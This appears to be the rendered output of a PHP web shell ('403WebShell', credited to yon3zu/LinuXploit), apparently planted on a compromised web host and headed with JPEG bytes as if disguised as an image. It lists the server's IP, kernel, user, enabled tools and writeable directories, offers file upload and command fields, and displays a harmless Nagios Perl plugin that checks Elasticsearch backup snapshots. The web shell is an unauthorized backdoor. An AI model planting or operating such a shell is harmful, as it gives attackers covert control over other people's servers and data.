����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.14.248.120
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/extra/check_backup_elastic
#!/usr/bin/env perl
use strict;
use warnings;
use feature qw(say);

use LWP::UserAgent;
use Time::Piece;
use YAML::XS qw(LoadFile);
use JSON::XS;
use Getopt::Long;

my $cur_date = localtime()->ymd;
my $cur_hour = localtime()->hour;

my $es_conf = '/root/.elastic';
if ( !-f $es_conf) {
    say 'cannot find Elastic config!';
    exit 3;
}

my ( $opt_w, $opt_c, $opt_o, $opt_h );

my $exitcode = '0';
my $msg      = 'OK';

GetOptions(
    "o|ok=i"   => \$opt_o,
    "w|warn=i" => \$opt_w,
    "c|crit=i" => \$opt_c,
    "h|help"   => \$opt_h,
);

if ($opt_h) {
    my $help_text = <<"END";
Usage: $0 -w 18 -c 21

Checks if today's Elasticsearch snapshot is created and valid.
  -o|--ok             Hour of the day BEFORE which the existence of snapshot is not checked.
  -w|--warning        Hour of the day AFTER which warning message is shown if backup is still in progress.
  -c|--critical       Hour of the day AFTER which critical message is shown if backup is still in progress.
  -h|--help (--help)  Show this help message
END
    say $help_text;
    exit;
}

$opt_o //= '5';
$opt_w //= '17';
$opt_c //= '20';

my $conf = LoadFile($es_conf);
my ( $host, $port, $repo ) = (
  $conf->{server}->{address},
  $conf->{server}->{port},
  $conf->{server}->{repo}
);


# get all snapshots
my $all_snap_info = send_req( $host, $port, 'GET', '_snapshot/' . $repo . '/_all', 'no' );

my @today_snapshot =
  $all_snap_info->{snapshots} ?
  map { $_ } grep { $_->{snapshot} eq $cur_date } @{ $all_snap_info->{snapshots} } :
  ();

if (!@today_snapshot) {
    if ( $cur_hour < $opt_o ) {
        say  $msg;
        exit $exitcode;
    }
    say 'Backup not started yet!';
    exit 2;
}

my $status = $today_snapshot[0]->{state};

if ( $status eq 'IN_PROGRESS' ) {
    $exitcode = 1 if $cur_hour > $opt_w;
    $exitcode = 2 if $cur_hour > $opt_c;
    $msg = 'Snapshot is still being created. Maybe something goes wrong.' if $exitcode;
} else {
    unless ( $status eq 'SUCCESS' ) {
        $exitcode = 3;
        $msg = 'Something wrong with the snapshot, you have to review it.';
    }
}

say $msg;
exit $exitcode;

# subs
sub send_req {
    my ( $host, $port, $method, $uri, $fail, %params ) = @_;
    my $hdr = HTTP::Headers->new( 'Content-Type' => 'application/json' );
    my $url = 'http://' . $host . ':' . $port .  '/' . $uri;
    my $req = %params ?
      HTTP::Request->new( $method, $url, $hdr, encode_json(\%params) ) :
      HTTP::Request->new( $method, $url, $hdr );
    my $ua  = LWP::UserAgent->new();
    $ua->timeout(10);
    my $res;
    for my $attempt ( 1 .. 3 ) {
        $res = $ua->request($req);
        if ($res->is_success) {
            return decode_json($res->content);
        }
        $res->status_line =~ /500 Can't connect to/
          ? carp $res->status_line
          : $fail eq 'yes'
            ? croak $res->status_line
            : return decode_json($res->content);
        sleep 1;
    }
    croak $res->status_line;
}

Youez - 2016 - github.com/yon3zu
LinuXploit